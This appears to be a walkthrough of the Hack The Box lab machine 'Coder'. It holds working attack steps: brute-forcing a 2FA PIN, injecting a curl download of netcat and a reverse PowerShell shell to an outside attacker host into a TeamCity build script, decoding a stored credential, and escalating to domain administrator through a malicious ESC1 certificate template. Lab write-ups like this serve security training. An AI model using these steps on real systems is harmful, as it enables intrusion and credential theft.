Skip to main content
  1. Posts/

Coder - HTB

·21 mins
htb
Table of Contents

Begin with a port scan:

└─$ nmap -sC -sV -Pn 10.129.69.238
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-06 13:46 EDT
Nmap scan report for 10.129.69.238
Host is up (0.039s latency).
Not shown: 987 closed tcp ports (conn-refused)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-04-07 01:46:13Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: coder.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.coder.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.coder.htb
| Not valid before: 2022-06-30T04:24:26
|_Not valid after:  2023-06-30T04:24:26
|_ssl-date: 2023-04-07T01:46:59+00:00; +7h59m34s from scanner time.
443/tcp  open  ssl/http      Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_ssl-date: 2023-04-07T01:47:00+00:00; +7h59m35s from scanner time.
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
| ssl-cert: Subject: commonName=default-ssl/organizationName=HTB/stateOrProvinceName=CA/countryName=US
| Not valid before: 2022-11-04T17:25:43
|_Not valid after:  2032-11-01T17:25:43
| tls-alpn: 
|_  http/1.1
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap
|_ssl-date: 2023-04-07T01:46:59+00:00; +7h59m34s from scanner time.
| ssl-cert: Subject: commonName=dc01.coder.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.coder.htb
| Not valid before: 2022-06-30T04:24:26
|_Not valid after:  2023-06-30T04:24:26
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: coder.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-04-07T01:47:00+00:00; +7h59m35s from scanner time.
| ssl-cert: Subject: commonName=dc01.coder.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.coder.htb
| Not valid before: 2022-06-30T04:24:26
|_Not valid after:  2023-06-30T04:24:26
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: coder.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-04-07T01:46:59+00:00; +7h59m34s from scanner time.
| ssl-cert: Subject: commonName=dc01.coder.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.coder.htb
| Not valid before: 2022-06-30T04:24:26
|_Not valid after:  2023-06-30T04:24:26
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   311: 
|_    Message signing enabled and required
|_clock-skew: mean: 7h59m34s, deviation: 0s, median: 7h59m33s
| smb2-time: 
|   date: 2023-04-07T01:46:51
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 64.60 seconds

From here, go ahead and add dc01.coder.htb and coder.htb to your hosts file.

We can go and try to enumerate SMB shares on the host:

└─$ smbclient -N -L 10.129.69.238               

	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	Development     Disk      
	IPC$            IPC       Remote IPC
	NETLOGON        Disk      Logon server share 
	SYSVOL          Disk      Logon server share 
	Users           Disk      
Reconnecting with SMB1 for workgroup listing.

So, we see a folder called /Development that isn’t standard, so we can take a look and see what we can find:

└─$ smbclient -N //10.129.69.238/Development  
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Nov  3 11:16:25 2022
  ..                                  D        0  Thu Nov  3 11:16:25 2022
  Migrations                          D        0  Tue Nov  8 17:11:25 2022
  Temporary Projects                  D        0  Fri Nov 11 17:19:03 2022

		6232831 blocks of size 4096. 882330 blocks available
smb: \> cd "Temporary Projects"
smb: \Temporary Projects\> ls
  .                                   D        0  Fri Nov 11 17:19:03 2022
  ..                                  D        0  Fri Nov 11 17:19:03 2022
  Encrypter.exe                       A     5632  Fri Nov  4 12:51:59 2022
  s.blade.enc                         A     3808  Fri Nov 11 17:17:08 2022

		6232831 blocks of size 4096. 882289 blocks available
smb: \Temporary Projects\> get Encrypter.exe 
getting file \Temporary Projects\Encrypter.exe of size 5632 as Encrypter.exe (27.6 KiloBytes/sec) (average 27.6 KiloBytes/sec)
smb: \Temporary Projects\> get s.blade.enc 
getting file \Temporary Projects\s.blade.enc of size 3808 as s.blade.enc (22.7 KiloBytes/sec) (average 25.4 KiloBytes/sec)
smb: \Temporary Projects\> 

Let’s download these files and decompile the executable on a Windows VM using dnSpy. This made my antivirus flip out so I recommend putting this on a Windows VM and not your main host to save you the trouble. (That is if your host OS is Windows).

I used a site called File.io to upload and download the files in a zip archive.

coderimage1


What does this program do?
#

The C# code defines a class called AES that is meant to encrypt a file using the Advanced Encryption Standard (AES) with a 256-bit key. The class has two methods: Main() and EncryptFile().

The Main(string[] args) function just checks to make sure the program is given one command line argument (the file to be encrypted). The program then does the following:

  1. Create a FileInfo object from the file name.
  2. Generate a new encrypted file name by changing the extension of the source file to .enc.
  3. Get the current Unix timestamp in seconds.
  4. Initialize a Random object using the Unix timestamp as a seed.
  5. Generate a random 128-bit (16-byte) Initialization Vector (IV) and a random 256-bit (32-byte) key.
  6. Call the EncryptFile() method to encrypt the file using the generated IV and key.

So, let’s talk about EncryptFile(). This method takes four arguments - the source file name, the destination file name, the encryption key, and the IV. Once given these inputs it will perform the following operations:

  1. Create a RijndaelManaged object, which is a .NET implementation of AES.
  2. Open the destination file for writing, creating it if it does not exist.
  3. Create an encryptor from the RijndaelManaged object using the key and IV.
  4. Create a CryptoStream object for writing the encrypted data to the destination file.
  5. Open the source file for reading.
  6. Read the source file in chunks of 1024 bytes, encrypt the data using the CryptoStream object, and write the encrypted data to the destination file.
  7. Close all opened streams and return null.

So, using this code is as simple as providing a command line argument in the form of the file you want to encrypt, and you’ll get the file back in an encrypted form.


Unfortunately for us, there is no program to decrypt the file also sitting around in the SMB share so we will need to try and make our own.

We know that the key and IV are generated by using the Unix timestamp as a seed value with the Random class.

In C#, the Random class is a pseudorandom number generator, so even though the numbers appear random, but are actually determined by the seed value. If we can determine the seed value (Unix Timestamp) we should be able to generate the same key and IV and use that to decrypt the file (because AES is symmetric).

We know that the Unix Timestamp taken is just the current system time, and if the s.blade.enc file was placed in the SMB share as soon as it was created, that should be the same timestamp is was encrypted with.

Recalling the line from the SMB share:

smb: \Temporary Projects\> ls
  .                             D        0  Fri Nov 11 17:19:03 2022
  ..                            D        0  Fri Nov 11 17:19:03 2022
  Encrypter.exe                 A     5632  Fri Nov  4 12:51:59 2022
  s.blade.enc                   A     3808  Fri Nov 11 17:17:08 2022

We can convert this time to a Unix timestamp:

coderimage2

We can make a program to get the key and initialization vector by using a .NET compiler online:

coderimage3

using System;
					
public class Program
{
	public static void Main()
	{
		long value = 1668205028; //the file creation time
		Random random = new Random(Convert.ToInt32(value));
		byte[] array = new byte[16];
		random.NextBytes(array);
		byte[] array2 = new byte[32];
		random.NextBytes(array2);
		Console.WriteLine("Key: "+ BitConverter.ToString(array2));
		Console.WriteLine("Initialization Vector: "+ BitConverter.ToString(array));
	}
}

All we are doing in the program is using the same seed value we think the encrypter program used and generating the key and IV in the same fashion.


Blue Team Note
#

It wouldn’t be too difficult to fix this by using a cryptographically secure random number generator (like RNGCryptoServiceProvider, as that would make it much more difficult to reverse-engineer the key and IV like we did here.


Now that we know the key and the IV, we can go to cyberchef online to try and decrypt it. You will need to upload the file as input:

coderimage4

We see that it shows a 7zip file was detected. Let’s download it and extract it:

└─$ 7z e download.7z 

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,8 CPUs AMD Ryzen 9 5900X 12-Core Processor             (A20F12),ASM,AES-NI)

Scanning the drive for archives:
1 file, 3799 bytes (4 KiB)

Extracting archive: download.7z
--
Path = download.7z
Type = 7z
Physical Size = 3799
Headers Size = 177
Method = LZMA2:12
Solid = -
Blocks = 2

Everything is Ok

Files: 2
Size:       3614
Compressed: 3799

We get two files: .key and s.blade.kdbx. The second file is for a program called keepass2 so we can install that and see what else is going on.

└─$ sudo apt install keepass2 

We will also want to rename the .key file so we can open it with KeePass:

└─$ mv .key s.blade.key

coderimage5

We can open it and examine the records inside:

coderimage6

We got another domain to add to our hosts file: teamcity-dev.coder.htb and we see some notes in the authenticator backup codes entry.

Let’s look at that website:

coderimage7

You can copy the password from the password manager and try to login as s.blade:

coderimage8

They want us to use 2-Factor-Authentication. We can try and use ffuf to brute force the six digit pin. I first got information needed from Burp Suite:

POST /2fa.html HTTP/2
Host: teamcity-dev.coder.htb
Cookie: TCSESSIONID=568DDE3529D9CF60DD2D36BACCB8C80F; __test=1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://teamcity-dev.coder.htb/2fa.html
X-Requested-With: XMLHttpRequest
X-Teamcity-Client: Web UI
X-Tc-Csrf-Token: ce3dc934-9521-4d5e-858d-f999ba992cd5
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Origin: https://teamcity-dev.coder.htb
Content-Length: 15
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

password=111111

We can make our ffuf command as follows:

└─$ ffuf -w ~/../../usr/share/seclists/Fuzzing/6-digits-000000-999999.txt -u https://teamcity-dev.coder.htb/2fa.html -X POST -d 'password=FUZZ' -H "Cookie: __test=1; TCSESSIONID=568DDE3529D9CF60DD2D36BACCB8C80F" -H "X-Tc-Csrf-Token: ce3dc934-9521-4d5e-858d-f999ba992cd5" -H "Content-Type: application/x-www-form-urlencoded;charset=UTF-8" -fr Incorrect

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.0.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : https://teamcity-dev.coder.htb/2fa.html
 :: Wordlist         : FUZZ: /usr/share/seclists/Fuzzing/6-digits-000000-999999.txt
 :: Header           : Content-Type: application/x-www-form-urlencoded;charset=UTF-8
 :: Header           : Cookie: __test=1; TCSESSIONID=568DDE3529D9CF60DD2D36BACCB8C80F
 :: Header           : X-Tc-Csrf-Token: ce3dc934-9521-4d5e-858d-f999ba992cd5
 :: Data             : password=FUZZ
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Regexp: Incorrect
________________________________________________

All I end up doing that is out of the ordinary with this command is copy over a bunch of the relevant headers for the request and use regex to filter out “Incorrect” from the results.

Keep in mind that 2FA is time-based and we need to be quick once we get a result.

---SNIP---
:: Progress: [417122/1000000] :: Job [1/1] :: 975 req/sec :: Duration: [0:12:11] :: Error[Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 50ms]
    * FUZZ: 417108

:: Progress: [417146/1000000] :: Job [1/1] :: 884 req/sec :: Duration: [0:12:11] :: Error
---SNIP---

Go ahead and try it on the target site.

coderimage9

We can start poking around and under Development_Testing we see something called Build_config which might have something interesting waiting there:

coderimage10

So, we can see that it is executing a PowerShell script called hello_world.ps1 during this Build process.

We can see in the SMB share where this file comes from:

smb: \Migrations\teamcity_test_repo\> ls
  .                                   D        0  Fri Nov  4 15:14:54 2022
  ..                                  D        0  Fri Nov  4 15:14:54 2022
  .git                               DH        0  Fri Nov  4 15:14:54 2022
  hello_world.ps1                     A       67  Fri Nov  4 15:12:08 2022

		6232831 blocks of size 4096. 879714 blocks available
smb: \Migrations\teamcity_test_repo\> 

We can download all the files on the share like this:

└─$ smbclient -N  //10.129.245.160/Development
Try "help" to get a list of possible commands.
smb: \> cd Migrations
smb: \Migrations\> ls
  .                                   D        0  Tue Nov  8 17:11:25 2022
  ..                                  D        0  Tue Nov  8 17:11:25 2022
  adcs_reporting                      D        0  Tue Nov  8 17:11:25 2022
  bootstrap-template-master           D        0  Thu Nov  3 12:12:30 2022
  Cachet-2.4                          D        0  Thu Nov  3 12:12:36 2022
  kimchi-master                       D        0  Thu Nov  3 12:12:41 2022
  teamcity_test_repo                  D        0  Fri Nov  4 15:14:54 2022

		6232831 blocks of size 4096. 879682 blocks available
smb: \Migrations\> cd teamcity_test_repo
smb: \Migrations\teamcity_test_repo\> recurse on
smb: \Migrations\teamcity_test_repo\> prompt off
smb: \Migrations\teamcity_test_repo\> mget *
getting file \Migrations\teamcity_test_repo\hello_world.ps1 of size 67 as hello_world.ps1 (0.5 KiloBytes/sec) (average 0.5 KiloBytes/sec)
getting file \Migrations\teamcity_test_repo\.git\COMMIT_EDITMSG of size 15 as .git/COMMIT_EDITMSG (0.1 KiloBytes/sec) (average 0.3 KiloBytes/sec)
---SNIP---

We can examine the PowerShell script:

└─$ cat hello_world.ps1                                           
#Simple repo test for Teamcity pipeline
write-host "Hello, World!"

I had to move some folders around but was able to use git as intended:

└─$ git log
commit 4aefc023afb818866bd8c0920d438b44e76f642b (HEAD -> master)
Author: Sonya Blade <s.blade@coder.htb>
Date:   Fri Nov 4 13:14:05 2022 -0600

    initial commit

Now we just need to edit the PowerShell script to give us a shell and then push it to the repo:

└─$ cat hello_world.ps1 
#Simple repo test for Teamcity pipeline
write-host "Hello, World!"
curl http://10.10.14.162/nc64.exe -o .\nc64.exe
.\nc64.exe 10.10.14.162 9000 -e powershell
                                                                                         

└─$ git commit hello_world.ps1 -m 'changed'
[master ce5b2ee] changed
 1 file changed, 2 insertions(+)
                                                                                         

└─$ git log                                
commit ce5b2ee2b6923bdec829bd387087125d346a55d3 (HEAD -> master)
Author: Sonya Blade <s.blade@coder.htb>
Date:   Fri Apr 7 18:42:29 2023 -0400

    changed

commit 4aefc023afb818866bd8c0920d438b44e76f642b
Author: Sonya Blade <s.blade@coder.htb>
Date:   Fri Nov 4 13:14:05 2022 -0600

    initial commit
                                                                                         

We need to use git diff to get the unified diff format that TeamCity supports:

└─$ git diff 4aef ce5b2
diff --git a/hello_world.ps1 b/hello_world.ps1
index 09724d2..9529c1d 100644
--- a/hello_world.ps1
+++ b/hello_world.ps1
@@ -1,2 +1,4 @@
 #Simple repo test for Teamcity pipeline
 write-host "Hello, World!"
+curl http://10.10.14.162/nc64.exe -o .\nc64.exe
+.\nc64.exe 10.10.14.162 9000 -e powershell

Now, we can write this output to a diff file and upload it to the site where we can run it:

coderimage11

After running the build you should get a reply from your HTTP server and get a shell on your listener:

#your http server
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.245.160 - - [07/Apr/2023 18:51:11] "GET /nc64.exe HTTP/1.1" 200 -
#your listener
└─$ nc -lvp 9000                           
listening on [any] 9000 ...
connect to [10.10.14.162] from coder.htb [10.129.245.160] 59542
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\TeamCity\buildAgent\work\74c2f03019966b3e> 

If we do some research we can find that there is a data directory present within TeamCity. We can view that through Administration > Global Settings.

In our case we uploaded a .diff file, so there should be a folder that stores all the changes made. We can find the file here:

PS C:\ProgramData\JetBrains\TeamCity\system\changes> ls
ls


    Directory: C:\ProgramData\JetBrains\TeamCity\system\changes


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-a----        11/8/2022   2:18 PM           1707 101.changes.diff                                                      
-a----        4/11/2023   5:41 PM            300 201.changes.diff                                                      


PS C:\ProgramData\JetBrains\TeamCity\system\changes> more 101.changes.diff
more 101.changes.diff
diff --git a/Get-ADCS_Report.ps1 b/Get-ADCS_Report.ps1
index d6515ce..a990b2e 100644
--- a/Get-ADCS_Report.ps1
+++ b/Get-ADCS_Report.ps1
@@ -77,11 +77,15 @@ Function script:send_mail {
     [string]
     $subject
   )
+
+$key = Get-Content ".\key.key"
+$pass = (Get-Content ".\enc.txt" | ConvertTo-SecureString -Key $key)
+$cred = New-Object -TypeName System.Management.Automation.PSCredential ("coder\e.black",$pass)
 $emailFrom = 'pkiadmins@coder.htb'
 $emailCC = 'e.black@coder.htb'
 $emailTo = 'itsupport@coder.htb'
 $smtpServer = 'smtp.coder.htb'
-Send-MailMessage -SmtpServer $smtpServer -To $emailTo -Cc $emailCC -From $emailFrom -Subject $subject -Body $message -BodyAsHtml -Priority High
+Send-MailMessage -SmtpServer $smtpServer -To $emailTo -Cc $emailCC -From $emailFrom -Subject $subject -Body $message -BodyAsHtml -Priority High -Credential $cred
 }
 
 
diff --git a/enc.txt b/enc.txt
new file mode 100644
index 0000000..d352634
--- /dev/null
+++ b/enc.txt
@@ -0,0 +1,2 @@
+76492d1116743f0423413b16050a5345MgB8AGoANABuADUAMgBwAHQAaQBoAFMAcQB5AGoAeABlAEQAZgBSAFUAaQBGAHcAPQA9AHwANABhADcANABmAGYAYgBiAGYANQAwAGUAYQBkAGMAMQBjADEANAAwADkAOQBmADcAYQBlADkAMwAxADYAMwBjAGYAYwA4AGYAMQA3ADcAMgAxADkAYQAyAGYAYQBlADAAOQA3ADIAYgBmAGQAN
+AA2AGMANQBlAGUAZQBhADEAZgAyAGQANQA3ADIAYwBjAGQAOQA1ADgAYgBjAGIANgBhAGMAZAA4ADYAMgBhADcAYQA0ADEAMgBiAGIAMwA5AGEAMwBhADAAZQBhADUANwBjAGQANQA1AGUAYgA2AGIANQA5AGQAZgBmADIAYwA0ADkAMgAxADAAMAA1ADgAMABhAA==
diff --git a/key.key b/key.key
new file mode 100644
index 0000000..a6285ed
--- /dev/null
+++ b/key.key
@@ -0,0 +1,32 @@
+144
+255
+52
+33
+65
+190
+44
+106
+131
+60
+175
+129
+127
+179
+69
+28
+241
+70
+183
+53
+153
+196
+10
+126
+108
+164
+172
+142
+119
+112
+20
+122

PS C:\ProgramData\JetBrains\TeamCity\system\changes>     

We see a lot of changes in the changes.diff file that wasn’t the one we made. It tells us that three files were modified (Get-ADCS_Report.ps1, enc.txt, and key.key). The + characters indicate something was added and the - symbols indicate that something was removed. Let’s talk about what was changed for each file:

The Get-ADCS_Report.ps1 file has four new lines and one line that was changed:

  • A $key variable has been added to read the content of the key.key file.
  • A $pass variable has been added to read the content of the enc.txt file and convert it to a secure string using the $key.
  • A $cred variable has been added to create a new PSCredential object with a specified username and the secure password from $pass.
  • The Send-MailMessage command has been updated to include the -Credential parameter and use the $cred variable.

The enc.txt file didn’t exist in the previous version, and it includes two lines that look like two halves of a large base64 encoded string.

The key.key file has 32 lines with one integer present in each.

After doing some research, you could see how this might be a PowerShell Secure String.

All these numbers after the string are the key and the base64 output is the encoded output from when the password was converted to a secure string.

We can thankfully just enter this info into an online decoder: https://www.wietzebeukema.nl/powershell-securestring-decoder/ (You’ll need to remove the + characters from the numbers and the encoded password)

coderimage12

So, let’s see if this password works for evil-winrm. Take note that this password is for the user e.black.

└─$ evil-winrm -i 10.129.229.10 -u e.black -p ypOSJXPqlDOxxbQSfEERy300

Evil-WinRM shell v3.4

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\e.black\Documents> 

Sweet, now that we’ve got our user flag we can try to escalate our privileges.

Let’s enumerate which groups are viewable for e.black:

*Evil-WinRM* PS C:\Users\e.black> net user e.black
User name                    e.black
Full Name                    Erron Black
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            11/7/2022 12:40:31 PM
Password expires             Never
Password changeable          11/8/2022 12:40:31 PM
Password required            Yes
User may change password     No

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   11/8/2022 3:05:01 PM

Logon hours allowed          All

Local Group Memberships      *Remote Management Use
Global Group memberships     *Domain Users         *PKI Admins
The command completed successfully.

Let’s see if we can get more info on these groups we belong to:

*Evil-WinRM* PS C:\Users\e.black> whoami /groups

GROUP INFORMATION
-----------------

Group Name                                  Type             SID                                            Attributes
=========================================== ================ ============================================== ==================================================
Everyone                                    Well-known group S-1-1-0                                        Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users             Alias            S-1-5-32-580                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                               Alias            S-1-5-32-545                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access  Alias            S-1-5-32-554                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Certificate Service DCOM Access     Alias            S-1-5-32-574                                   Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                        Well-known group S-1-5-2                                        Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users            Well-known group S-1-5-11                                       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization              Well-known group S-1-5-15                                       Mandatory group, Enabled by default, Enabled group
CODER\PKI Admins                            Group            S-1-5-21-2608251805-3526430372-1546376444-2101 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication            Well-known group S-1-5-64-10                                    Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label            S-1-16-8448

The two big things to notice here are the PKI Admins group and the Certificate Service DCOM Access group.

When looking for Certificate Service DCOM Access I found this article: https://github.com/MicrosoftDocs/windowsserverdocs/blob/main/WindowsServerDocs/identity/ad-ds/manage/understand-security-groups.md#certificate-service-dcom-access

  • This seems to just let us connect to the Certificate Authority for the domain.

Because PKI Admins isn’t one of the default groups, we can try to read more information on it like so:

*Evil-WinRM* PS C:\Users\e.black> Get-ADGroup "PKI Admins" -Properties *


CanonicalName                   : coder.htb/Users/PKI Admins
CN                              : PKI Admins
Created                         : 6/29/2022 10:02:46 PM
createTimeStamp                 : 6/29/2022 10:02:46 PM
Deleted                         :
Description                     : ADCS Certificate and Template Management
DisplayName                     :
DistinguishedName               : CN=PKI Admins,CN=Users,DC=coder,DC=htb
dSCorePropagationData           : {12/31/1600 4:00:00 PM}
GroupCategory                   : Security
GroupScope                      : Global
groupType                       : -2147483646
HomePage                        :
instanceType                    : 4
isDeleted                       :
LastKnownParent                 :
ManagedBy                       :
member                          : {CN=Erron Black,CN=Users,DC=coder,DC=htb}
MemberOf                        : {}
Members                         : {CN=Erron Black,CN=Users,DC=coder,DC=htb}
Modified                        : 11/3/2022 7:56:42 AM
modifyTimeStamp                 : 11/3/2022 7:56:42 AM
Name                            : PKI Admins
nTSecurityDescriptor            : System.DirectoryServices.ActiveDirectorySecurity
ObjectCategory                  : CN=Group,CN=Schema,CN=Configuration,DC=coder,DC=htb
ObjectClass                     : group
ObjectGUID                      : 4d866ead-2f21-4bde-8a05-2078fdef3e59
objectSid                       : S-1-5-21-2608251805-3526430372-1546376444-2101
ProtectedFromAccidentalDeletion : False
SamAccountName                  : PKI Admins
sAMAccountType                  : 268435456
sDRightsEffective               : 0
SID                             : S-1-5-21-2608251805-3526430372-1546376444-2101
SIDHistory                      : {}
uSNChanged                      : 28767
uSNCreated                      : 16401
whenChanged                     : 11/3/2022 7:56:42 AM
whenCreated                     : 6/29/2022 10:02:46 PM

We see that its description is ADCS Certificate and Template Management, which means we can create Certificates and Templates for this AD environment.

Knowing this I wanted to look for certificates to abuse, but after trying certipy, it didn’t see any vulnerable certificates.

At the least, e.black can manage templates for this instance of ADCS. We can’t find any vulnerable templates so why don’t we just make one.

We just need to find a template to use when we make a certificate, add it and give the PKI Admins group enrollment rights to use it and request a TGT for the Administrator user.

We can use this GitHub to go about creating our certificate: https://github.com/GoateePFE/ADCSTemplate

We can use this GitHub to use as a template for our malicious certificate: https://github.com/Orange-Cyberdefense/GOAD/blob/4cc6cbc1bdc86a236649d6c1e2c0dbf856bedeb6/ansible/roles/adcs_templates/files/ESC1.json

Once you’ve copied down those two files, you’re ready to continue:

└─$ ls -l 
total 24
-rw-r--r-- 1 kali kali 19536 Apr 11 13:18 ADCSTemplate.psm1
-rw-r--r-- 1 kali kali  2069 Apr 11 13:17 ESC1.json

Begin by uploading the files in evil-winrm with the upload command:

*Evil-WinRM* PS C:\Users\e.black\Desktop> upload /home/kali/Desktop/HTB/Machines/Insane/Coder/privesc/privesc-walkthrough/ADCSTemplate.psm1

Info: Uploading 
Info: Upload successful!

*Evil-WinRM* PS C:\Users\e.black\Desktop> upload /home/kali/Desktop/HTB/Machines/Insane/Coder/privesc/privesc-walkthrough/ESC1.json

Info: Uploading 
Info: Upload successful!

*Evil-WinRM* PS C:\Users\e.black\Desktop> ls


    Directory: C:\Users\e.black\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        4/11/2023   6:14 PM          19536 ADCSTemplate.psm1
-a----        4/11/2023   6:14 PM           2069 ESC1.json
-ar---        4/11/2023   5:26 PM             34 user.txt


*Evil-WinRM* PS C:\Users\e.black\Desktop> 

Then we can run the following:

*Evil-WinRM* PS C:\Users\e.black\Desktop> Import-Module .\ADCSTemplate.psm1
*Evil-WinRM* PS C:\Users\e.black\Desktop> New-ADCSTemplate -DisplayName ESC1 -JSON (Get-Content .\ESC1.json -Raw) -Publish -Identity "CODER.HTB\PKI Admins"

What these commands are doing is importing the ADCSTemplate module for us to use so we can make the template. Then the next command creates a new ADCSTemplate file using ESC.json and allow the PKI Admins group to have enroll permissions.

We can then use certipy to check the certificates and see if ours was created:

└─$ certipy find -u e.black@coder.htb -p ypOSJXPqlDOxxbQSfEERy300 

Certipy v4.4.0 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 35 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 13 enabled certificate templates
[*] Trying to get CA configuration for 'coder-DC01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'coder-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'coder-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Got CA configuration for 'coder-DC01-CA'
[*] Saved BloodHound data to '20230411132403_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20230411132403_Certipy.txt'
[*] Saved JSON output to '20230411132403_Certipy.json'

This will download a test file as output which we can read to verify our certificate was created:

Certificate Templates
  0
    Template Name                       : ESC1
    Display Name                        : ESC1
    Certificate Authorities             : coder-DC01-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Extended Key Usage                  : Client Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Validity Period                     : 1 year
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Permissions
      Enrollment Permissions
        Enrollment Rights               : CODER.HTB\PKI Admins
      Object Control Permissions
        Owner                           : CODER.HTB\Erron Black
        Full Control Principals         : CODER.HTB\Domain Admins
                                          CODER.HTB\Local System
                                          CODER.HTB\Enterprise Admins
        Write Owner Principals          : CODER.HTB\Domain Admins
                                          CODER.HTB\Local System
                                          CODER.HTB\Enterprise Admins
        Write Dacl Principals           : CODER.HTB\Domain Admins
                                          CODER.HTB\Local System
                                          CODER.HTB\Enterprise Admins
        Write Property Principals       : CODER.HTB\Domain Admins
                                          CODER.HTB\Local System
                                          CODER.HTB\Enterprise Admins
    [!] Vulnerabilities
      ESC1                              : 'CODER.HTB\\PKI Admins' can enroll, enrollee supplies subject and template allows client authentication
      ESC4                              : Template is owned by CODER.HTB\Erron Black

We see that our vulnerable certificate was successfully created. Now we can use certipy to request a key for the administrator user:

└─$ certipy req -u e.black@coder.htb -p ypOSJXPqlDOxxbQSfEERy300 -ca "coder-DC01-CA" -target dc01.coder.htb -template ESC1 -upn administrator@coder.htb -dns dc01.coder.htb
Certipy v4.4.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 19
[*] Got certificate with multiple identifications
    UPN: 'administrator@coder.htb'
    DNS Host Name: 'dc01.coder.htb'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator_dc01.pfx'

We can now try to get the hash for the administrator using that .pfx file.

└─$ certipy auth -pfx administrator_dc01.pfx -dc-ip 10.129.229.10 
Certipy v4.4.0 - by Oliver Lyak (ly4k)

[*] Found multiple identifications in certificate
[*] Please select one:
    [0] UPN: 'administrator@coder.htb'
    [1] DNS Host Name: 'dc01.coder.htb'
> 0
[*] Using principal: administrator@coder.htb
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)

We see that we have a clock skew error. This just means that our system time is too far apart from the time of the target. We can install ntpdate and update our clock skew:

└─$ sudo ntpdate coder.htb
